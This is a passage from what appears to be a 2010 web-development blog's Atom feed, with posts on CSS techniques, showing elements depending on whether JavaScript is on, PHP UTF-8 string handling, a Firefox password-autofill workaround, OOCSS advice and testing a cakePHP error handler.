&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;   color&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;rgba&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0.1&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;   top&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;   left&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;   padding&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;50&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The effect is much better with this technique but it also has it share of
drawback:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You have to write your content twice, once in the element and once in an
attribute&lt;/li&gt;
&lt;li&gt;You have to copy all your &lt;code&gt;padding&lt;/code&gt; rules in the &lt;code&gt;:before&lt;/code&gt; element or it won&#39;t
get correctly positionned&lt;/li&gt;
&lt;li&gt;You can&#39;t select the text with this effect&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Hope those two little techniques helped someone, anyway.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>How to hide/show elements based on Javascript</title>
    <link href="https://blog.pixelastic.com/2010/08/19/how-to-hide-show-elements-based-on-javascript/"/>
    <updated>2010-08-19T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/08/19/how-to-hide-show-elements-based-on-javascript</id>
    <content type="html">&lt;p&gt;Sometimes you have a really great design with some really fancy Javascript
goodness, like drag&#39;n&#39;drop and other shiny Ajaxy stuff.&lt;/p&gt;
&lt;p&gt;But when you browse the website with Javascript disabled, none of that works and
you end up with interface elements that should&#39;nt be here because they do not
work.&lt;/p&gt;
&lt;p&gt;In those case, you&#39;d rather display a nice message to your user, telling him
that he can&#39;t use the feature withou Javascript enabled.&lt;/p&gt;
&lt;h2&gt;But how do you do that?&lt;/h2&gt;
&lt;p&gt;Well, I myself load two different stylesheets. Remember that your website should
be working without Javascript, this is just the last layer you add.&lt;/p&gt;
&lt;p&gt;My default stylesheet will load all the rules for when Javascript is not
enabled. No fancy &lt;code&gt;cursor:move&lt;/code&gt; here.&lt;/p&gt;
&lt;p&gt;Then I load a second stylesheet using Javascript, using &lt;code&gt;document.write()&lt;/code&gt; in
the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;. And that&#39;s in this one that I write rules that overload the
previous one. I add every styling that deals with Javascript-enabled features
here.&lt;/p&gt;
&lt;h2&gt;Limitations&lt;/h2&gt;
&lt;p&gt;I may be changing the way I load the JS stylesheet in the future. I don&#39;t really
like relying on &lt;code&gt;document.write&lt;/code&gt; because it is &lt;em&gt;evil&lt;/em&gt;. I also don&#39;t like the
idea of getting one extra request.&lt;/p&gt;
&lt;p&gt;I could add a &lt;code&gt;js&lt;/code&gt; class to my body element (like
&lt;a href=&quot;http://www.modernizr.com/&quot;&gt;modernizr&lt;/a&gt; does with all its CSS3 properties) and
then target elements by prepending &lt;code&gt;.js&lt;/code&gt; to the rule.&lt;/p&gt;
&lt;p&gt;But it means adding rules in my main CSS file for users without JS that will
still be downloading those extra useless bytes.&lt;/p&gt;
&lt;p&gt;I haven&#39;t yet figured which way was the best (or should I say, the worst)&lt;/p&gt;
&lt;h2&gt;Convenient methodes&lt;/h2&gt;
&lt;p&gt;Whatever way you choose, one thing that really helped me was two real simple
classes: &lt;code&gt;jsOn&lt;/code&gt; and &lt;code&gt;jsOff&lt;/code&gt; that I add to elements.&lt;/p&gt;
&lt;p&gt;Elements with &lt;code&gt;jsOn&lt;/code&gt; will only be visible if Javascript is enabled and hidden
otherwise, while element with &lt;code&gt;jsOff&lt;/code&gt; will do the opposite.&lt;/p&gt;
&lt;p&gt;Assuming you mark your body element with a &lt;code&gt;js&lt;/code&gt; class if Javascript is enabled,
here&#39;s how to do it:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;jsOn&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;display&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;none&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;js&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; .&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;jsOn&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;display&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;block&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;jsOff&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;display&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;block&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;js&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; .&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;jsOff&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;display&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;none&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hope all that helps at least someone.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Corrupted strings when using strtolower()</title>
    <link href="https://blog.pixelastic.com/2010/08/17/corrupted-strings-when-using-strtolower/"/>
    <updated>2010-08-17T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/08/17/corrupted-strings-when-using-strtolower</id>
    <content type="html">&lt;p&gt;&lt;em&gt;Little blog post at 5am, I&#39;ll try to make it very short, I need some sleep.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;To avoid getting corrupted string results when calling &lt;code&gt;strtolower&lt;/code&gt; on UTF8
strings, you can call &lt;code&gt;mb_strtolower&lt;/code&gt; instead. The &lt;code&gt;mb_*&lt;/code&gt; functions are aware of
the utf8 encoding.&lt;/p&gt;
&lt;p&gt;Unfortunatly, sometime you just can&#39;t, because the call is made in the cakePHP
core (&lt;code&gt;Inflector&lt;/code&gt;). Defining a &lt;code&gt;CTYPE&lt;/code&gt; locale for your whole app may be a better
solution.&lt;/p&gt;
&lt;p&gt;Just add a &lt;code&gt;setlocale(LC_CTYPE, &#39;C&#39;);&lt;/code&gt; in your app and all your utf8 strings
will correctly work with string functions.&lt;/p&gt;
&lt;p&gt;Just note that on Windows, calling &lt;code&gt;setlocale&lt;/code&gt; will change the locale for all
threads, not just the one where PHP is running. This may cause unexpected
results.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>How to fix the Firefox autocomplete &#39;feature&#39;</title>
    <link href="https://blog.pixelastic.com/2010/08/12/how-to-fix-the-firefox-autocomplete-feature/"/>
    <updated>2010-08-12T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/08/12/how-to-fix-the-firefox-autocomplete-feature</id>
    <content type="html">&lt;p&gt;Firefox can be quite a pain sometimes. I usually praise this browser features
but today I had to deal with one tricky &#39;intelligent&#39; feature.&lt;/p&gt;
&lt;p&gt;You know that autocomplete/autofill feature, so that when you enter your user
name, Firefox automatically fill the corresponding password field so you won&#39;t
have to do it?&lt;/p&gt;
&lt;p&gt;Well, it is bad, and here&#39;s why.&lt;/p&gt;
&lt;h2&gt;How does it work?&lt;/h2&gt;
&lt;p&gt;I haven&#39;t read the source code, but from what I&#39;ve experienced it seems to work
like that:&lt;/p&gt;
&lt;p&gt;For each password field, FF will find the related username text field. This is
just a very basic search, it assume that the closest previous text field is the
related one. Now, everytime you enter a value in the text field that match one
of the username saved, it will autofill the password field.&lt;/p&gt;
&lt;p&gt;Note that if you have more than 5 password fields on a page, the feature will be
disabled.&lt;/p&gt;
&lt;h2&gt;What is terribly wrong with this approach&lt;/h2&gt;
&lt;p&gt;Let&#39;s imagine you are a registered user of a website. You want to update your
preferences. You have a nice page with lots of input fields where you can change
your email, password and date of birth.&lt;/p&gt;
&lt;p&gt;For security reasons, your password is not displayed. For convenient reasons,
the website also don&#39;t ask you to type your password everytime your want to
update your settings. It assumes that if you let the password field blank, it
means that you don&#39;t want to change it. And if you really want to change it,
then it asks for a confirmation, to make sure your correctly typed it.&lt;/p&gt;
&lt;p&gt;So, with this autocomplete feature, if your email is also your login for the
website (as it is often the case), Firefox will autofill the password field with
your password. Meaning that if you submit your form, you&#39;ll be met with an error
because your password and it&#39;s confirmation does not match.&lt;/p&gt;
&lt;p&gt;You&#39;ll then have to manually clear the content of the password field everytime
your want to edit your profile. Which is counter-intuitive. The whole convenient
method of not changing the password if left empty is rendered useless.&lt;/p&gt;
&lt;p&gt;The worst part is that most users won&#39;t understand when the error comes and will
blame the webdeveloper.&lt;/p&gt;
&lt;h2&gt;Solutions that does not work&lt;/h2&gt;
&lt;p&gt;First, Firefox is just doing a very wild guess on that fields. And, there is no
way to disable this feature from the page markup. Sure, as a user you can
disable it in your browser setting, but as a web developper, you can&#39;t disable
it.&lt;/p&gt;
&lt;p&gt;There is a non-standard &lt;code&gt;autocomplete=&amp;quot;off&amp;quot;&lt;/code&gt; argument, but it does not work in
our case. It is supposed to prevent the browser to store previously entered
values on sensible fields (like credit card numbers).&lt;/p&gt;
&lt;p&gt;I&#39;ve tried putting this &lt;code&gt;autocomplete&lt;/code&gt; attribute on every input field, even on
the form itself. Setting the &lt;code&gt;value&lt;/code&gt; attribute does not work either. Even
updating the value through Javascript would not work because the password field
will get re-populated on every blur event on the text field.&lt;/p&gt;
&lt;h2&gt;A solution that does work&lt;/h2&gt;
&lt;p&gt;The final solution I&#39;ve found is to add a dummy password field between your real
mail and password fields. That way, Firefox will autocomplete this dummy
password instead of the real one.&lt;/p&gt;
&lt;p&gt;Unfortunatly this adds clutter to your markup, but with a little &lt;code&gt;display:none&lt;/code&gt;
in CSS it won&#39;t ever be seen by your users.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>7 advices to start using OOCSS as a coding practice</title>
    <link href="https://blog.pixelastic.com/2010/08/11/7-advices-to-start-using-oocss-as-a-coding-practice/"/>
    <updated>2010-08-11T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/08/11/7-advices-to-start-using-oocss-as-a-coding-practice</id>
    <content type="html">&lt;p&gt;Not long ago, I stumbled across this [video about massive and unmaintainable CSS
files](http://www.stubbornella.org/content/2010/07/01/top-5-mistakes-of-
massive-css/) from Nicole Sullivan. It made me want to try OOCSS.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://wiki.github.com/stubbornella/oocss/&quot;&gt;OOCSS&lt;/a&gt; is a way to code css in a
way that replicates the goodies general OOP told us. Classic CSS use the cascade
in selectors to emulate a concept of inheritence.&lt;/p&gt;
&lt;p&gt;OOCSS puts the concept of inheritence a little step further by telling us to
create &amp;quot;modules&amp;quot; in our CSS files. Each module represent a &amp;quot;widget&amp;quot; of our page,
or should I say of our whole site.&lt;/p&gt;
&lt;p&gt;It comes with a simple list of principles that could allow one to write much
more flexible and maintainable code. I rewrote the whole CSS for this website
(as well as the admin interface I&#39;m using behind the doors) following those
principles, and I thought I&#39;ll share it with you.&lt;/p&gt;
&lt;h2&gt;Drop the &lt;code&gt;#id&lt;/code&gt; selector&lt;/h2&gt;
&lt;p&gt;We won&#39;t be using the &lt;code&gt;#id&lt;/code&gt; selector anymore (except for some edge cases).
Instead of &lt;code&gt;#commentList {}&lt;/code&gt; we&#39;ll use &lt;code&gt;.commentList {}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This change alone lets us reuse the same element multiple times on the same
page.&lt;/p&gt;
&lt;p&gt;Note that we will still add &lt;code&gt;ids&lt;/code&gt; in our HTML markup for form inputs or for
Javascript purpose (&lt;code&gt;document.getElementById&lt;/code&gt; is still the faster selection
method).&lt;/p&gt;
&lt;h2&gt;Don&#39;t make your selector dependent on the page structure&lt;/h2&gt;
&lt;p&gt;We won&#39;t style our elements based on where they will be displayed in the page.&lt;/p&gt;
&lt;p&gt;We don&#39;t care if our module will be displayed in a footer, sidebar, specific
page or whatever. We just style it all the same.&lt;/p&gt;
&lt;p&gt;Instead of writing &lt;code&gt;.sidebar .lastComments {}&lt;/code&gt;, we will go for the shorter
&lt;code&gt;.lastComments {}&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This will allow us to easily display the last comments on any page, anywhere.
You should carefully name your modules to something that clearly evoke what the
module is supposed to display, without ambiguity.&lt;/p&gt;
&lt;p&gt;If you need to tweak the display of an element in a certain part of the page,
you could always write a specific selector for this specific need, that will
overwrite the default rules. But this must not be your default selector.&lt;/p&gt;
&lt;h2&gt;Do not use both tag and class selector on the same element&lt;/h2&gt;
&lt;p&gt;Avoid the &lt;code&gt;div.errorMessage&lt;/code&gt;, &lt;code&gt;ul.userList&lt;/code&gt; selectors. The first one is just too
specific: what happen if you ever want to style a &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; instead of a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;?
The second one is useless, &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; is a list by definition.&lt;/p&gt;
&lt;p&gt;There is only one moment when being that specific can be useful, it is when you
need to overwrite, for a specific element, rules defined for the class.
Fortunatly, thanks to the OOCSS coding style, this won&#39;t happen much.&lt;/p&gt;
&lt;h2&gt;Don&#39;t make your selectors over-specific&lt;/h2&gt;
&lt;p&gt;This is a followup of the previous rule, but don&#39;t write overly specific rules,
like .&lt;code&gt;userList table thead tr th a&lt;/code&gt;. A simple &lt;code&gt;.userList thead a&lt;/code&gt; is enough.&lt;/p&gt;
&lt;p&gt;First, you are overly detailing each level of the markup while most of the time
the uppermost and lowermost parts are enough. But you also define useless
selectors like &lt;code&gt;tr th&lt;/code&gt; or &lt;code&gt;ul li,&lt;/code&gt; where &lt;code&gt;th&lt;/code&gt; or &lt;code&gt;li&lt;/code&gt; are enough (those elements
can not be placed in any other parent element).&lt;/p&gt;
&lt;h2&gt;Create your own reset stylesheet&lt;/h2&gt;
&lt;p&gt;To avoid repeating &lt;code&gt;margin:0; padding:0&lt;/code&gt; over and over in your stylesheets, you
should spend some time finding a reset stylesheet that you like and then
tweaking it to fit your coding practice.&lt;/p&gt;
&lt;p&gt;I used to include the &lt;a href=&quot;http://devkick.com/lab/tripoli/&quot;&gt;Tripoli framework&lt;/a&gt; in my
previous projects but I found that I had to reset styles it was settings far too
often.&lt;/p&gt;
&lt;p&gt;All reset stylesheets are not equals, some will just remove all styling from
elements, letting you define them as you want. Others will also assign default
rendering styles to make something both visually beautiful and cross-browser.&lt;/p&gt;
&lt;p&gt;But the best reset stylesheet you&#39;ll get is the one you&#39;ll create (or, as it is
quite a bit of work, tweak) yourself.&lt;/p&gt;
&lt;h2&gt;Use a grid system to place elements&lt;/h2&gt;
&lt;p&gt;Some years ago, I found CSS Framework like Blueprint to be a waste of time. I
didn&#39;t want to clutter mu HTML markup with &lt;em&gt;non-semantic&lt;/em&gt; classes for handling
the styling.&lt;/p&gt;
&lt;p&gt;I also found that the psd files I was given to integrate couldn&#39;t fit in grids
because the sidebar was 173px wide for example.&lt;/p&gt;
&lt;p&gt;Now I still don&#39;t think cluttering the HTML with &lt;code&gt;span-6 pull-2&lt;/code&gt; is the best
thing that happened to CSS, but I found it much better than cluttering my CSS
with endless &lt;code&gt;overflow:hidden&lt;/code&gt; and &lt;code&gt;float:left; margin-right:10px&lt;/code&gt; declarations.&lt;/p&gt;
&lt;p&gt;And I still got design from not-so-professional designers to integrate that do
not seems to have any logical proportion, and can&#39;t fit them in grids. But I
also work with more talented people that deliver beautiful design and they tend
to be the one that fits easily into grids.&lt;/p&gt;
&lt;p&gt;So it may not always be possible to use a grid system, but more often than not,
it is and even if that means tweaking the original (badly designed) design a
dozen pixels off, it will greatly help the CSS process.&lt;/p&gt;
&lt;h2&gt;Create a global stylesheet for your main classes&lt;/h2&gt;
&lt;p&gt;I also create a main stylesheet for all the classes I know I&#39;ll be reusing all
accross this project (and others). I include it at the top, right after the
reset one.&lt;/p&gt;
&lt;p&gt;In it I&#39;ll defined general classes that could be extended by all the other inner
classes later. Like a &lt;code&gt;.message&lt;/code&gt; class, that I may be extending later using
&lt;code&gt;.message.error&lt;/code&gt; or .&lt;code&gt;message.success&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;One final word&lt;/h2&gt;
&lt;p&gt;Ok, this is it. I&#39;m fairly new to OOCSS too, so I&#39;m still discovering it too. So
far I found that I have greatly reduce the size of my files but most
importantly, my styles are way more easy to tweak for special needs than before.&lt;/p&gt;
&lt;p&gt;It also helped me separate the various elements of the website, and it is much
more easier to find the piece I need. Fewer classes to depends on means I know
where the rules are coming from and I can write more specific selectors if need
me more easily.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Testing a custom ErrorHandler in cakePHP</title>
    <link href="https://blog.pixelastic.com/2010/08/08/testing-a-custom-errorhandler-in-cakephp/"/>
    <updated>2010-08-08T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/08/08/testing-a-custom-errorhandler-in-cakephp</id>
    <content type="html">&lt;p&gt;I just finished writing the test case for a custom &lt;code&gt;AppError&lt;/code&gt; class. Writing the
tests case was indeed much more difficult than writing the class itself.&lt;/p&gt;
&lt;p&gt;Here are some things I&#39;ve found that may interest anyone wanting to test their
own &lt;code&gt;ErrorHandlers&lt;/code&gt;. Most of the ideas are taken from the core
&lt;code&gt;ErrorHandlerTest&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Anatomy of an error&lt;/h2&gt;
&lt;p&gt;Every class in cakePHP extends &lt;code&gt;Object&lt;/code&gt;. And in &lt;code&gt;Object&lt;/code&gt; is defined a method
named &lt;code&gt;cakeError&lt;/code&gt;. It means that anywhere in your app you can call
&lt;code&gt;$this-&amp;gt;cakeError(&lt;/code&gt;) and the whole app will stop and display the specified
error.&lt;/p&gt;
&lt;p&gt;What &lt;code&gt;cakeError&lt;/code&gt; does is instantly create an instance of either &lt;code&gt;Controller&lt;/code&gt; or
&lt;code&gt;CakeErrorController&lt;/code&gt;, find the correct view, render it, and stop.&lt;/p&gt;
&lt;p&gt;Because of the use of static variables, &lt;code&gt;exit&lt;/code&gt; calls and other happyness,
testing several errors in a test case needs us to define some new classes to
shortcircuit most of the logic.&lt;/p&gt;
&lt;h2&gt;Preparing the test&lt;/h2&gt;
&lt;p&gt;This step is actually pretty short. Just load the default &lt;code&gt;ErrorHandler&lt;/code&gt; by
calling &lt;code&gt;App::import(&#39;Core&#39;,&#39;Error&#39;);&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Creating a dummy AppController&lt;/h2&gt;
&lt;p&gt;Then, you&#39;ll have to create a new &lt;code&gt;AppController&lt;/code&gt; class that extends
&lt;code&gt;Controller&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We will override the &lt;code&gt;header&lt;/code&gt; method to prevent &#39;&lt;em&gt;Headers already set&lt;/em&gt;&#39; error
when calling several errors in a row.&lt;/p&gt;
&lt;p&gt;We will also override the &lt;code&gt;render&lt;/code&gt; method to store in an inner property the name
of the rendered action. It will help test that the correct error is rendered.&lt;/p&gt;
&lt;p&gt;You may also need to define a custom list of helpers if your custom views are
using any custom helpers.&lt;/p&gt;
&lt;p&gt;Here is what it looks like on my side:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; AppController&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; extends&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt; Controller&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // Helpers used in the view. If not set, will generate a fatal error&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $helpers&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;Caracole.Fastcode&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;CaracolePacker.Packer&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // Overriding the header method. If not set, will generate &#39;Headers already set&#39; errors;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; header&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$header&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;header&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $header&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // Overriding render method to keep track of the rendered error&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; render&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$action&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;renderedAction&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $action&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; parent&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;render&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$action&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Creating a TestErrorHandler&lt;/h2&gt;
&lt;p&gt;This class will extends your &lt;code&gt;AppError&lt;/code&gt;. It will just overwrite two methods to
make it correctly work in a test case.&lt;/p&gt;
&lt;p&gt;First, we&#39;ll need to overwrite the &lt;code&gt;__construct&lt;/code&gt;. The default construct will set
the inner &lt;code&gt;$this-&amp;gt;controller&lt;/code&gt; property to either a &lt;code&gt;Controller&lt;/code&gt; or a
&lt;code&gt;CakeErrorController&lt;/code&gt; instance depending if its the first error fired or not. I
must admit that I haven&#39;t really understand the difference between the two. But
I know that &lt;code&gt;CakeErrorController&lt;/code&gt; extends &lt;code&gt;AppController&lt;/code&gt; while &lt;code&gt;Controller&lt;/code&gt;
extends &lt;code&gt;Object&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;And as we need to overwrite methods of this property, it being a
&lt;code&gt;CakeErrorController&lt;/code&gt; is great, while it being a &lt;code&gt;Controller&lt;/code&gt; is bad. Anyway,
what I did was copy/paste the parent &lt;code&gt;__construct&lt;/code&gt; into &lt;code&gt;TestErrorHandler&lt;/code&gt; and
just force it to always create a &lt;code&gt;CakeErrorController&lt;/code&gt; instance.&lt;/p&gt;
&lt;p&gt;The other method we need to overwrite is the &lt;code&gt;_stop&lt;/code&gt;. If we don&#39;t, the whole
script will halt after the first error you&#39;ll test.&lt;/p&gt;
&lt;p&gt;So, enough talk, here&#39;s the code:&lt;/p&gt;
